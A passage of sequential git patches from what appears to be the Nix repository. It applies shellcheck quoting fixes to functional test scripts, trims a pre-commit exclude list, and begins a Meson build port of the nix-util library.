-echo 456 > $flake1Dir/x.nix
+echo 456 > "$flake1Dir"/x.nix
 
-[[ $(nix eval --json $flake2Dir#x --override-input flake1 $TEST_ROOT/flake1) = 456 ]]
+[[ $(nix eval --json "$flake2Dir#x" --override-input flake1 "$TEST_ROOT/flake1") = 456 ]]

From cd46ec17f9bc353ba3b604e5291202e8c5aa175d Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:32 -0700
Subject: [PATCH 336/528] housekeeping: shellcheck for
 tests/functional/function-trace.sh

---
 tests/functional/function-trace.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/tests/functional/function-trace.sh b/tests/functional/function-trace.sh
index 71f18b67f9f..7524afdf219 100755
--- a/tests/functional/function-trace.sh
+++ b/tests/functional/function-trace.sh
@@ -21,12 +21,12 @@ expect_trace() {
                <(echo "$expect") \
                <(echo "$actual")
     ) && result=0 || result=$?
-    if [ $result -eq 0 ]; then
+    if [ "$result" -eq 0 ]; then
         echo " ok."
     else
         echo " failed. difference:"
         echo "$msg"
-        return $result
+        return "$result"
     fi
 }
 

From d1c476865a3cab6527f8f04aba8e285ff0ddd48c Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:49 -0700
Subject: [PATCH 337/528] housekeeping: shellcheck for
 tests/functional/gc-runtime.sh

---
 tests/functional/gc-runtime.sh | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/tests/functional/gc-runtime.sh b/tests/functional/gc-runtime.sh
index 2ee72b61e81..b5f6f769c7c 100755
--- a/tests/functional/gc-runtime.sh
+++ b/tests/functional/gc-runtime.sh
@@ -12,27 +12,27 @@ esac
 set -m # enable job control, needed for kill
 
 profiles="$NIX_STATE_DIR"/profiles
-rm -rf $profiles
+rm -rf "$profiles"
 
-nix-env -p $profiles/test -f ./gc-runtime.nix -i gc-runtime
+nix-env -p "$profiles/test" -f ./gc-runtime.nix -i gc-runtime
 
-outPath=$(nix-env -p $profiles/test -q --no-name --out-path gc-runtime)
-echo $outPath
+outPath=$(nix-env -p "$profiles/test" -q --no-name --out-path gc-runtime)
+echo "$outPath"
 
 echo "backgrounding program..."
-$profiles/test/program &
+"$profiles"/test/program &
 sleep 2 # hack - wait for the program to get started
 child=$!
 echo PID=$child
 
-nix-env -p $profiles/test -e gc-runtime
-nix-env -p $profiles/test --delete-generations old
+nix-env -p "$profiles/test" -e gc-runtime
+nix-env -p "$profiles/test" --delete-generations old
 
 nix-store --gc
 
 kill -- -$child
 
-if ! test -e $outPath; then
+if ! test -e "$outPath"; then
     echo "running program was garbage collected!"
     exit 1
 fi

From 1c9336098916d23d1510efb848ecdec8ce6eb70f Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:54 -0700
Subject: [PATCH 338/528] housekeeping: shellcheck for
 tests/functional/hash-path.sh

---
 tests/functional/hash-path.sh | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/tests/functional/hash-path.sh b/tests/functional/hash-path.sh
index 12605ef71ce..86d782a9589 100755
--- a/tests/functional/hash-path.sh
+++ b/tests/functional/hash-path.sh
@@ -3,7 +3,7 @@
 source common.sh
 
 try () {
-    printf "%s" "$2" > $TEST_ROOT/vector
+    printf "%s" "$2" > "$TEST_ROOT/vector"
     hash="$(nix-hash --flat ${FORMAT+--$FORMAT} --type "$1" "$TEST_ROOT/vector")"
     if ! (( "${NO_TEST_CLASSIC-}" )) && test "$hash" != "$3"; then
         echo "try nix-hash: hash $1, expected $3, got $hash"
@@ -61,7 +61,7 @@ NO_TEST_NIX_COMMAND=1 try sha512 "abc" "ddaf35a193617abacc417349ae20413112e6fa4e
 NO_TEST_CLASSIC=1 try sha512 "abc" "sha512-3a81oZNherrMQXNJriBBMRLm+k6JqX6iCp7u5ktV05ohkpkqJ0/BqDa6PCOj/uu9RU1EI2Q86A4qmslPpUyknw=="
 
 try2 () {
-    hash=$(nix-hash --type "$1" $TEST_ROOT/hash-path)
+    hash=$(nix-hash --type "$1" "$TEST_ROOT/hash-path")
     if test "$hash" != "$2"; then
         echo "try nix-hash; hash $1, expected $2, got $hash"
         exit 1
@@ -73,22 +73,22 @@ try2 () {
     fi
 }
 
-rm -rf $TEST_ROOT/hash-path
-mkdir $TEST_ROOT/hash-path
-echo "Hello World" > $TEST_ROOT/hash-path/hello
+rm -rf "$TEST_ROOT/hash-path"
+mkdir "$TEST_ROOT/hash-path"
+echo "Hello World" > "$TEST_ROOT/hash-path/hello"
 
 try2 md5 "ea9b55537dd4c7e104515b2ccfaf4100"
 
 # Execute bit matters.
-chmod +x $TEST_ROOT/hash-path/hello
+chmod +x "$TEST_ROOT/hash-path/hello"
 try2 md5 "20f3ffe011d4cfa7d72bfabef7882836"
 
 # Mtime and other bits don't.
-touch -r . $TEST_ROOT/hash-path/hello
-chmod 744 $TEST_ROOT/hash-path/hello
+touch -r . "$TEST_ROOT/hash-path/hello"
+chmod 744 "$TEST_ROOT/hash-path/hello"
 try2 md5 "20f3ffe011d4cfa7d72bfabef7882836"
 
 # File type (e.g., symlink) does.
-rm $TEST_ROOT/hash-path/hello
-ln -s x $TEST_ROOT/hash-path/hello
+rm "$TEST_ROOT/hash-path/hello"
+ln -s x "$TEST_ROOT/hash-path/hello"
 try2 md5 "f78b733a68f5edbdf9413899339eaa4a"

From 2d467b4731365065b22456066bcdf4cc1d548c13 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:33:59 -0700
Subject: [PATCH 339/528] housekeeping: shellcheck for
 tests/functional/import-derivation.sh

---
 tests/functional/import-derivation.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/functional/import-derivation.sh b/tests/functional/import-derivation.sh
index 53efa1f5d4f..96cc30646b8 100755
--- a/tests/functional/import-derivation.sh
+++ b/tests/functional/import-derivation.sh
@@ -11,4 +11,4 @@ fi
 
 outPath=$(nix-build ./import-derivation.nix --no-out-link)
 
-[ "$(cat $outPath)" = FOO579 ]
+[ "$(cat "$outPath")" = FOO579 ]

From 1afac8fbbc49dabe793e5f6c62ffa6ee334a169e Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 23:37:45 -0700
Subject: [PATCH 340/528] remove tests from pre-commit excludes

---
 maintainers/flake-module.nix | 38 ------------------------------------
 1 file changed, 38 deletions(-)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 261da1766e9..b1d21e8fe72 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -507,49 +507,30 @@
             ''^scripts/install-nix-from-closure\.sh$''
             ''^scripts/install-systemd-multi-user\.sh$''
             ''^src/nix/get-env\.sh$''
-            ''^tests/functional/binary-cache-build-remote\.sh$''
-            ''^tests/functional/binary-cache\.sh$''
-            ''^tests/functional/brotli\.sh$''
-            ''^tests/functional/build-delete\.sh$''
-            ''^tests/functional/build-dry\.sh$''
             ''^tests/functional/build\.sh$''
-            ''^tests/functional/ca/build-cache\.sh$''
             ''^tests/functional/ca/build-dry\.sh$''
             ''^tests/functional/ca/build-with-garbage-path\.sh$''
-            ''^tests/functional/ca/build\.sh$''
             ''^tests/functional/ca/common\.sh$''
             ''^tests/functional/ca/concurrent-builds\.sh$''
-            ''^tests/functional/ca/derivation-json\.sh$''
-            ''^tests/functional/ca/duplicate-realisation-in-closure\.sh$''
             ''^tests/functional/ca/eval-store\.sh$''
             ''^tests/functional/ca/gc\.sh$''
             ''^tests/functional/ca/import-derivation\.sh$''
             ''^tests/functional/ca/new-build-cmd\.sh$''
-            ''^tests/functional/ca/nix-copy\.sh$''
-            ''^tests/functional/ca/nix-run\.sh$''
             ''^tests/functional/ca/nix-shell\.sh$''
             ''^tests/functional/ca/post-hook\.sh$''
             ''^tests/functional/ca/recursive\.sh$''
             ''^tests/functional/ca/repl\.sh$''
             ''^tests/functional/ca/selfref-gc\.sh$''
-            ''^tests/functional/ca/signatures\.sh$''
-            ''^tests/functional/ca/substitute\.sh$''
             ''^tests/functional/ca/why-depends\.sh$''
-            ''^tests/functional/case-hack\.sh$''
-            ''^tests/functional/check-refs\.sh$''
-            ''^tests/functional/check-reqs\.sh$''
             ''^tests/functional/check\.sh$''
-            ''^tests/functional/chroot-store\.sh$''
             ''^tests/functional/common/vars-and-functions\.sh$''
             ''^tests/functional/completions\.sh$''
-            ''^tests/functional/compression-levels\.sh$''
             ''^tests/functional/compute-levels\.sh$''
             ''^tests/functional/config\.sh$''
             ''^tests/functional/db-migration\.sh$''
             ''^tests/functional/debugger\.sh$''
             ''^tests/functional/dependencies\.builder0\.sh$''
             ''^tests/functional/dependencies\.sh$''
-            ''^tests/functional/derivation-json\.sh$''
             ''^tests/functional/dump-db\.sh$''
             ''^tests/functional/dyn-drv/build-built-drv\.sh$''
             ''^tests/functional/dyn-drv/common\.sh$''
@@ -557,10 +538,8 @@
             ''^tests/functional/dyn-drv/eval-outputOf\.sh$''
             ''^tests/functional/dyn-drv/old-daemon-error-hack\.sh$''
             ''^tests/functional/dyn-drv/recursive-mod-json\.sh$''
-            ''^tests/functional/dyn-drv/text-hashed-output\.sh$''
             ''^tests/functional/eval-store\.sh$''
             ''^tests/functional/eval\.sh$''
-            ''^tests/functional/experimental-features\.sh$''
             ''^tests/functional/export-graph\.sh$''
             ''^tests/functional/export\.sh$''
             ''^tests/functional/extra-sandbox-profile\.sh$''
@@ -570,49 +549,32 @@
             ''^tests/functional/fetchGitSubmodules\.sh$''
             ''^tests/functional/fetchGitVerification\.sh$''
             ''^tests/functional/fetchMercurial\.sh$''
-            ''^tests/functional/fetchPath\.sh$''
-            ''^tests/functional/fetchTree-file\.sh$''
             ''^tests/functional/fetchurl\.sh$''
-            ''^tests/functional/filter-source\.sh$''
             ''^tests/functional/fixed\.builder1\.sh$''
             ''^tests/functional/fixed\.builder2\.sh$''
             ''^tests/functional/fixed\.sh$''
-            ''^tests/functional/flakes/absolute-attr-paths\.sh$''
             ''^tests/functional/flakes/absolute-paths\.sh$''
-            ''^tests/functional/flakes/build-paths\.sh$''
-            ''^tests/functional/flakes/bundle\.sh$''
             ''^tests/functional/flakes/check\.sh$''
-            ''^tests/functional/flakes/circular\.sh$''
             ''^tests/functional/flakes/common\.sh$''
             ''^tests/functional/flakes/config\.sh$''
             ''^tests/functional/flakes/develop\.sh$''
-            ''^tests/functional/flakes/flake-in-submodule\.sh$''
             ''^tests/functional/flakes/flakes\.sh$''
             ''^tests/functional/flakes/follow-paths\.sh$''
-            ''^tests/functional/flakes/init\.sh$''
-            ''^tests/functional/flakes/inputs\.sh$''
-            ''^tests/functional/flakes/mercurial\.sh$''
             ''^tests/functional/flakes/prefetch\.sh$''
             ''^tests/functional/flakes/run\.sh$''
-            ''^tests/functional/flakes/search-root\.sh$''
             ''^tests/functional/flakes/show\.sh$''
-            ''^tests/functional/flakes/unlocked-override\.sh$''
             ''^tests/functional/fmt\.sh$''
             ''^tests/functional/fmt\.simple\.sh$''
-            ''^tests/functional/function-trace\.sh$''
             ''^tests/functional/gc-auto\.sh$''
             ''^tests/functional/gc-concurrent\.builder\.sh$''
             ''^tests/functional/gc-concurrent\.sh$''
             ''^tests/functional/gc-concurrent2\.builder\.sh$''
             ''^tests/functional/gc-non-blocking\.sh$''
-            ''^tests/functional/gc-runtime\.sh$''
             ''^tests/functional/gc\.sh$''
             ''^tests/functional/git-hashing/common\.sh$''
             ''^tests/functional/git-hashing/simple\.sh$''
             ''^tests/functional/hash-convert\.sh$''
-            ''^tests/functional/hash-path\.sh$''
             ''^tests/functional/help\.sh$''
-            ''^tests/functional/import-derivation\.sh$''
             ''^tests/functional/impure-derivations\.sh$''
             ''^tests/functional/impure-env\.sh$''
             ''^tests/functional/impure-eval\.sh$''

From d8ae28617db90fb500103fccb7df0b3499d22099 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 12 Jun 2024 12:42:38 -0400
Subject: [PATCH 341/528] Try to fix quotes that don't go to end with sed

---
 tests/functional/ca/substitute.sh                | 2 +-
 tests/functional/common/init.sh                  | 2 +-
 tests/functional/dependencies.sh                 | 2 +-
 tests/functional/fetchGitRefs.sh                 | 2 +-
 tests/functional/gc-concurrent.sh                | 4 ++--
 tests/functional/gc.sh                           | 6 +++---
 tests/functional/local-overlay-store/gc-inner.sh | 6 +++---
 tests/functional/multiple-outputs.sh             | 2 +-
 tests/functional/readfile-context.sh             | 2 +-
 tests/functional/referrers.sh                    | 2 +-
 tests/functional/simple.sh                       | 2 +-
 11 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/tests/functional/ca/substitute.sh b/tests/functional/ca/substitute.sh
index 76cedb4bce9..9728470f0b8 100644
--- a/tests/functional/ca/substitute.sh
+++ b/tests/functional/ca/substitute.sh
@@ -7,7 +7,7 @@ source common.sh
 # shellcheck disable=SC1111
 needLocalStore "“--no-require-sigs” can’t be used with the daemon"
 
-rm -rf "$TEST_ROOT"/binary_cache
+rm -rf "$TEST_ROOT/binary_cache"
 
 export REMOTE_STORE_DIR=$TEST_ROOT/binary_cache
 export REMOTE_STORE=file://$REMOTE_STORE_DIR
diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh
index dda1ecd41fa..4f2a393af5c 100755
--- a/tests/functional/common/init.sh
+++ b/tests/functional/common/init.sh
@@ -13,7 +13,7 @@ mkdir "$TEST_HOME"
 
 mkdir "$NIX_STORE_DIR"
 mkdir "$NIX_LOCALSTATE_DIR"
-mkdir -p "$NIX_LOG_DIR"/drvs
+mkdir -p "$NIX_LOG_DIR/drvs"
 mkdir "$NIX_STATE_DIR"
 mkdir "$NIX_CONF_DIR"
 
diff --git a/tests/functional/dependencies.sh b/tests/functional/dependencies.sh
index 5922a1f9856..1b266935d24 100755
--- a/tests/functional/dependencies.sh
+++ b/tests/functional/dependencies.sh
@@ -33,7 +33,7 @@ nix-store -q --tree "$outPath" | grep '───.*dependencies-input-2'
 
 echo "output path is $outPath"
 
-text=$(cat "$outPath"/foobar)
+text=$(cat "$outPath/foobar")
 if test "$text" != "FOOBAR"; then exit 1; fi
 
 deps=$(nix-store -quR "$drvPath")
diff --git a/tests/functional/fetchGitRefs.sh b/tests/functional/fetchGitRefs.sh
index b17cc2090ce..9373146cd53 100755
--- a/tests/functional/fetchGitRefs.sh
+++ b/tests/functional/fetchGitRefs.sh
@@ -14,7 +14,7 @@ git init "$repo"
 git -C "$repo" config user.email "foobar@example.com"
 git -C "$repo" config user.name "Foobar"
 
-echo utrecht > "$repo"/hello
+echo utrecht > "$repo/hello"
 git -C "$repo" add hello
 git -C "$repo" commit -m 'Bla1'
 
diff --git a/tests/functional/gc-concurrent.sh b/tests/functional/gc-concurrent.sh
index 67ea3dc742a..1282712870c 100755
--- a/tests/functional/gc-concurrent.sh
+++ b/tests/functional/gc-concurrent.sh
@@ -20,8 +20,8 @@ outPath3=$(nix-store -r $drvPath3)
 touch $outPath3.lock
 
 rm -f "$NIX_STATE_DIR"/gcroots/foo*
-ln -s $drvPath2 "$NIX_STATE_DIR"/gcroots/foo
-ln -s $outPath3 "$NIX_STATE_DIR"/gcroots/foo2
+ln -s $drvPath2 "$NIX_STATE_DIR/gcroots/foo"
+ln -s $outPath3 "$NIX_STATE_DIR/gcroots/foo2"
 
 # Start build #1 in the background.  It starts immediately.
 nix-store -rvv "$drvPath1" &
diff --git a/tests/functional/gc.sh b/tests/functional/gc.sh
index 1f216ebc788..7594312bb00 100755
--- a/tests/functional/gc.sh
+++ b/tests/functional/gc.sh
@@ -8,8 +8,8 @@ drvPath=$(nix-instantiate dependencies.nix)
 outPath=$(nix-store -rvv "$drvPath")
 
 # Set a GC root.
-rm -f "$NIX_STATE_DIR"/gcroots/foo
-ln -sf $outPath "$NIX_STATE_DIR"/gcroots/foo
+rm -f "$NIX_STATE_DIR/gcroots/foo"
+ln -sf $outPath "$NIX_STATE_DIR/gcroots/foo"
 
 [ "$(nix-store -q --roots $outPath)" = "$NIX_STATE_DIR/gcroots/foo -> $outPath" ]
 
@@ -42,7 +42,7 @@ cat $outPath/reference-to-input-2/bar
 # Check that the derivation has been GC'd.
 if test -e $drvPath; then false; fi
 
-rm "$NIX_STATE_DIR"/gcroots/foo
+rm "$NIX_STATE_DIR/gcroots/foo"
 
 nix-collect-garbage
 
diff --git a/tests/functional/local-overlay-store/gc-inner.sh b/tests/functional/local-overlay-store/gc-inner.sh
index ea92154d209..687fed89745 100644
--- a/tests/functional/local-overlay-store/gc-inner.sh
+++ b/tests/functional/local-overlay-store/gc-inner.sh
@@ -20,8 +20,8 @@ outPath=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg
 
 # Set a GC root.
 mkdir -p "$stateB"
-rm -f "$stateB"/gcroots/foo
-ln -sf $outPath "$stateB"/gcroots/foo
+rm -f "$stateB/gcroots/foo"
+ln -sf $outPath "$stateB/gcroots/foo"
 
 [ "$(nix-store -q --roots $outPath)" = "$stateB/gcroots/foo -> $outPath" ]
 
@@ -46,7 +46,7 @@ nix-collect-garbage
 # Check that the root and its dependencies haven't been deleted.
 cat "$storeBRoot/$outPath"
 
-rm "$stateB"/gcroots/foo
+rm "$stateB/gcroots/foo"
 
 nix-collect-garbage
 
diff --git a/tests/functional/multiple-outputs.sh b/tests/functional/multiple-outputs.sh
index af9f8af7268..31ce2a3a48e 100755
--- a/tests/functional/multiple-outputs.sh
+++ b/tests/functional/multiple-outputs.sh
@@ -35,7 +35,7 @@ outPath=$(nix-store -q $drvPath)
 echo "building b..."
 outPath=$(nix-build multiple-outputs.nix -A b --no-out-link)
 echo "output path is $outPath"
-[ "$(cat "$outPath"/file)" = "success" ]
+[ "$(cat "$outPath/file")" = "success" ]
 
 # Test nix-build on a derivation with multiple outputs.
 outPath1=$(nix-build multiple-outputs.nix -A a -o $TEST_ROOT/result)
diff --git a/tests/functional/readfile-context.sh b/tests/functional/readfile-context.sh
index 76fad9349ed..d0644471dda 100755
--- a/tests/functional/readfile-context.sh
+++ b/tests/functional/readfile-context.sh
@@ -7,7 +7,7 @@ clearStore
 outPath=$(nix-build --no-out-link readfile-context.nix)
 
 # Set a GC root.
-ln -s $outPath "$NIX_STATE_DIR"/gcroots/foo
+ln -s $outPath "$NIX_STATE_DIR/gcroots/foo"
 
 # Check that file exists.
 [ "$(cat $(cat $outPath))" = "Hello World!" ]
diff --git a/tests/functional/referrers.sh b/tests/functional/referrers.sh
index 898032e423f..0fda97378ce 100755
--- a/tests/functional/referrers.sh
+++ b/tests/functional/referrers.sh
@@ -31,7 +31,7 @@ echo "registering..."
 nix-store --register-validity < $TEST_ROOT/reg_info
 
 echo "collecting garbage..."
-ln -sfn $reference "$NIX_STATE_DIR"/gcroots/ref
+ln -sfn $reference "$NIX_STATE_DIR/gcroots/ref"
 nix-store --gc
 
 if [ -n "$(type -p sqlite3)" -a "$(sqlite3 $NIX_STATE_DIR/db/db.sqlite 'select count(*) from Refs')" -ne 0 ]; then
diff --git a/tests/functional/simple.sh b/tests/functional/simple.sh
index 846738cbd19..4e7d37f59ac 100755
--- a/tests/functional/simple.sh
+++ b/tests/functional/simple.sh
@@ -14,7 +14,7 @@ echo "output path is $outPath"
 
 (! [ -w $outPath ])
 
-text=$(cat "$outPath"/hello)
+text=$(cat "$outPath/hello")
 if test "$text" != "Hello World!"; then exit 1; fi
 
 # Directed delete: $outPath is not reachable from a root, so it should

From 33241887d1d30fb1d5b679162b3f26e67567d7fb Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 12 Jun 2024 17:47:54 -0400
Subject: [PATCH 342/528] More quote coalescing

---
 tests/functional/flakes/init.sh      |  4 ++--
 tests/functional/flakes/mercurial.sh | 24 ++++++++++++------------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/tests/functional/flakes/init.sh b/tests/functional/flakes/init.sh
index 6787b9e791c..9e484f71cc0 100755
--- a/tests/functional/flakes/init.sh
+++ b/tests/functional/flakes/init.sh
@@ -8,8 +8,8 @@ templatesDir=$TEST_ROOT/templates
 flakeDir=$TEST_ROOT/flake
 nixpkgsDir=$TEST_ROOT/nixpkgs
 
-nix registry add --registry "$registry" templates git+file://"$templatesDir"
-nix registry add --registry "$registry" nixpkgs git+file://"$nixpkgsDir"
+nix registry add --registry "$registry" templates "git+file://$templatesDir"
+nix registry add --registry "$registry" nixpkgs "git+file://$nixpkgsDir"
 
 createGitRepo "$nixpkgsDir"
 createSimpleGitFlake "$nixpkgsDir"
diff --git a/tests/functional/flakes/mercurial.sh b/tests/functional/flakes/mercurial.sh
index 1b095790b44..b9045bf6bad 100755
--- a/tests/functional/flakes/mercurial.sh
+++ b/tests/functional/flakes/mercurial.sh
@@ -9,7 +9,7 @@ mkdir -p "$flake1Dir"
 writeSimpleFlake "$flake1Dir"
 hg init "$flake1Dir"
 
-nix registry add --registry "$registry" flake1 hg+file://"$flake1Dir"
+nix registry add --registry "$registry" flake1 "hg+file://$flake1Dir"
 
 flake2Dir=$TEST_ROOT/flake-hg2
 mkdir -p "$flake2Dir"
@@ -22,24 +22,24 @@ hg commit --config ui.username=foobar@example.org "$flake1Dir" -m 'Initial commi
 hg add "$flake2Dir"/flake.nix
 hg commit --config ui.username=foobar@example.org "$flake2Dir" -m 'Initial commit'
 
-nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir"
+nix build -o "$TEST_ROOT/result" "hg+file://$flake2Dir"
 [[ -e $TEST_ROOT/result/hello ]]
 
-(! nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revision)
+(! nix flake metadata --json "hg+file://$flake2Dir" | jq -e -r .revision)
 
-nix eval hg+file://"$flake2Dir"#expr
+nix eval "hg+file://$flake2Dir"#expr
 
-nix eval hg+file://"$flake2Dir"#expr
+nix eval "hg+file://$flake2Dir"#expr
 
-(! nix eval hg+file://"$flake2Dir"#expr --no-allow-dirty)
+(! nix eval "hg+file://$flake2Dir"#expr --no-allow-dirty)
 
-(! nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revision)
+(! nix flake metadata --json "hg+file://$flake2Dir" | jq -e -r .revision)
 
 hg commit --config ui.username=foobar@example.org "$flake2Dir" -m 'Add lock file'
 
-nix flake metadata --json hg+file://"$flake2Dir" --refresh | jq -e -r .revision
-nix flake metadata --json hg+file://"$flake2Dir"
-[[ $(nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revCount) = 1 ]]
+nix flake metadata --json "hg+file://$flake2Dir" --refresh | jq -e -r .revision
+nix flake metadata --json "hg+file://$flake2Dir"
+[[ $(nix flake metadata --json "hg+file://$flake2Dir" | jq -e -r .revCount) = 1 ]]
 
-nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" --no-registries --no-allow-dirty
-nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" --no-use-registries --no-allow-dirty
+nix build -o "$TEST_ROOT/result" "hg+file://$flake2Dir" --no-registries --no-allow-dirty
+nix build -o "$TEST_ROOT/result" "hg+file://$flake2Dir" --no-use-registries --no-allow-dirty

From 28d2af4ea69fbc7f1803de4a3ab1e6dd49dfe519 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 4 Jun 2024 09:28:27 -0400
Subject: [PATCH 343/528] Build `nix-util` with Meson
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The idea is two-fold:

- Replace autotools with Meson

- Build each library in its own derivation

The interaction of these two features is that Meson's "subprojects"
feature (https://mesonbuild.com/Subprojects) allows us to have single
dev shell for building all libraries still, while also building things
separately. This allows us to break up the build without a huge
productivity lost.

I tested the Linux native build, and NetBSD and Windows cross builds.

Also do some clean ups of the Flake in the process of supporting new
jobs.

Special thanks to everyone that has worked on a Meson port so far,
@p01arst0rm and @Qyriad in particular.

Co-Authored-By: p01arst0rm <polar@ever3st.com>
Co-Authored-By: Artemis Tosini <lix@artem.ist>
Co-Authored-By: Artemis Tosini <me@artem.ist>
Co-Authored-By: Felix Uhl <felix.uhl@outlook.com>
Co-Authored-By: Jade Lovelace <lix@jade.fyi>
Co-Authored-By: Lunaphied <lunaphied@lunaphied.me>
Co-Authored-By: Maximilian Bosch <maximilian@mbosch.me>
Co-Authored-By: Pierre Bourdon <delroth@gmail.com>
Co-Authored-By: Qyriad <qyriad@qyriad.me>
Co-Authored-By: Rebecca Turner <rbt@sent.as>
Co-Authored-By: Winter <winter@winter.cafe>
Co-Authored-By: eldritch horrors <pennae@lix.systems>
Co-Authored-By: jade <lix@jade.fyi>
Co-Authored-By: julia <midnight@trainwit.ch>
Co-Authored-By: rebecca “wiggles” turner <rbt@sent.as>
Co-Authored-By: wiggles dog <rbt@sent.as>
Co-Authored-By: fricklerhandwerk <valentin@fricklerhandwerk.de>
Co-authored-By: Eli Schwartz <eschwartz93@gmail.com>
Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 .gitignore                       |   2 +
 flake.nix                        |  75 +++++---
 {build => maintainers}/hydra.nix |  12 +-
 meson.build                      |   9 +
 package.nix                      |   3 +-
 src/libutil/.version             |   1 +
 src/libutil/linux/meson.build    |  11 ++
 src/libutil/meson.build          | 288 +++++++++++++++++++++++++++++++
 src/libutil/meson.options        |   5 +
 src/libutil/package.nix          | 144 ++++++++++++++++
 src/libutil/unix/meson.build     |  17 ++
 src/libutil/windows/meson.build  |  19 ++
 12 files changed, 553 insertions(+), 33 deletions(-)
 rename {build => maintainers}/hydra.nix (93%)
 create mode 100644 meson.build
 create mode 120000 src/libutil/.version
 create mode 100644 src/libutil/linux/meson.build
 create mode 100644 src/libutil/meson.build
 create mode 100644 src/libutil/meson.options
 create mode 100644 src/libutil/package.nix
 create mode 100644 src/libutil/unix/meson.build
 create mode 100644 src/libutil/windows/meson.build

diff --git a/.gitignore b/.gitignore
index 28f85371525..1bf540ba2a7 100644
--- a/.gitignore
+++ b/.gitignore
@@ -11,6 +11,8 @@ perl/Makefile.config
 /svn-revision
 /libtool
 /config/config.*
+# Default meson build dir
+/build
 
 # /doc/manual/
 /doc/manual/*.1
diff --git a/flake.nix b/flake.nix
index 5dbc554fc2b..0e29c6e6f06 100644
--- a/flake.nix
+++ b/flake.nix
@@ -160,21 +160,23 @@
             };
           });
 
+          nix-util = final.callPackage ./src/libutil/package.nix {
+            inherit
+              fileset
+              stdenv
+              officialRelease
+              versionSuffix
+              ;
+          };
+
           nix =
-            let
-              officialRelease = false;
-              versionSuffix =
-                if officialRelease
-                then ""
-                else "pre${builtins.substring 0 8 (self.lastModifiedDate or self.lastModified or "19700101")}_${self.shortRev or "dirty"}";
-
-            in final.callPackage ./package.nix {
+            final.callPackage ./package.nix {
               inherit
                 fileset
                 stdenv
+                officialRelease
                 versionSuffix
                 ;
-              officialRelease = false;
               boehmgc = final.boehmgc-nix;
               libgit2 = final.libgit2-nix;
               libseccomp = final.libseccomp-nix;
@@ -203,7 +205,7 @@
       # 'nix.perl-bindings' packages.
       overlays.default = overlayFor (p: p.stdenv);
 
-      hydraJobs = import ./build/hydra.nix {
+      hydraJobs = import ./maintainers/hydra.nix {
         inherit
           inputs
           binaryTarball
@@ -236,11 +238,29 @@
       } // devFlake.checks.${system} or {}
       );
 
-      packages = forAllSystems (system: rec {
-        inherit (nixpkgsFor.${system}.native) nix changelog-d;
-        default = nix;
-      } // (lib.optionalAttrs (builtins.elem system linux64BitSystems) {
-        nix-static = nixpkgsFor.${system}.static.nix;
+      packages = forAllSystems (system: {
+        inherit (nixpkgsFor.${system}.native)
+          changelog-d;
+        default = self.packages.${system}.nix;
+      } // lib.concatMapAttrs
+        (pkgName: {}: {
+          "${pkgName}" = nixpkgsFor.${system}.native.${pkgName};
+          "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName};
+        } // lib.concatMapAttrs
+          (crossSystem: {}: {
+            "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.${pkgName};
+          })
+          (lib.genAttrs crossSystems (_: { }))
+        // lib.concatMapAttrs
+          (stdenvName: {}: {
+            "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".${pkgName};
+          })
+          (lib.genAttrs stdenvs (_: { })))
+        {
+          "nix" = { };
+          "nix-util" = { };
+        }
+        // lib.optionalAttrs (builtins.elem system linux64BitSystems) {
         dockerImage =
           let
             pkgs = nixpkgsFor.${system}.native;
@@ -255,18 +275,7 @@
               ln -s ${image} $image
               echo "file binary-dist $image" >> $out/nix-support/hydra-build-products
             '';
-      } // builtins.listToAttrs (map
-          (crossSystem: {
-            name = "nix-${crossSystem}";
-            value = nixpkgsFor.${system}.cross.${crossSystem}.nix;
-          })
-          crossSystems)
-        // builtins.listToAttrs (map
-          (stdenvName: {
-            name = "nix-${stdenvName}";
-            value = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".nix;
-          })
-          stdenvs)));
+      });
 
       devShells = let
         makeShell = pkgs: stdenv: (pkgs.nix.override { inherit stdenv; forDevShell = true; }).overrideAttrs (attrs:
@@ -274,6 +283,11 @@
           modular = devFlake.getSystem stdenv.buildPlatform.system;
         in {
           pname = "shell-for-" + attrs.pname;
+
+          # Remove the version suffix to avoid unnecessary attempts to substitute in nix develop
+          version = lib.fileContents ./.version;
+          name = attrs.pname;
+
           installFlags = "sysconfdir=$(out)/etc";
           shellHook = ''
